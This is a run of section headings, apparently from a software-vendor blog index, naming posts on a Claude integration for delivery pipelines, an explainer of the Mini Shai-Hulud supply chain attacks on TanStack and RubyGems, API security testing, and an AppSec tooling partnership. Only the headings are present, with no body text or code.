Software Delivery Context, Now Inside Claude

What You Can Do with Claude and Harness

The Problem With Giving AI Agents Raw API Access

What the Harness + Claude Integration Changes

What This Looks Like in Practice

Debugging a failed pipeline without context switching

Promoting a deployment through governed gates

This Is Not AI Without Guardrails

Why the Claude Connectors Directory Matters

Getting Started

Anthropic’s Mythos, Glasswing, and how the industry must move forward

The Advice Is Right. The Audience Is Wrong.

The Eng & Sec Silos Have to Go

The Path Forward Is Uncomfortable — But It Starts Now

The Wave Is Already Here

Two Futures

This Is the Moment

Mini Shai-Hulud Explained: How the TanStack and RubyGems Supply Chain Attacks Worked

Preface

Introduction

Timeline

Deepdive Into TanStack Exploit

Preparing Payload

Gaining Trusted Publishing Access

Releasing Malicious Packages

Self-Propagation Through Mini Shai-Hulud Payload

RubyGem Variant: Three Registries In One Week

Compromised Packages

Remediations

How Harness Supply Chain Security Helps

Detect Compromised Packages

Block Compromised Packages

Track & Remediate Issues with Developers

Next Steps In The Face Of Supply Chain Attacks

API Security Testing Just Got Easier & Smarter

Harness API Testing Enhancements at a Glance

Improved Configuration Experience

Added API Endpoint Validation

Why Teams Struggle with API Security Testing

1. Scan setup has been too easy to get wrong

2. Weak validation delays necessary feedback

3. Fragmented workflows break momentum

4. Test generation doesn’t equate to execution readiness

5. High activity does not always mean high value

A Closer Look at What’s New in Harness API Testing

Scan Configuration Revamp & Validation Enhancement

Reachability Test for XAST Replay and DAST

Get Started Today

Shift Left, Protect Right: How Harness + Wiz Close the AppSec Gap

Shift Left, Protect Right. Who Owns Application Security?

Integrating Wiz Code into CI/CD Pipelines with Harness STO

Feeding Harness SAST and SCA Findings Into Wiz

AppSec Is a Team Sport. Your Tools Should Be Too.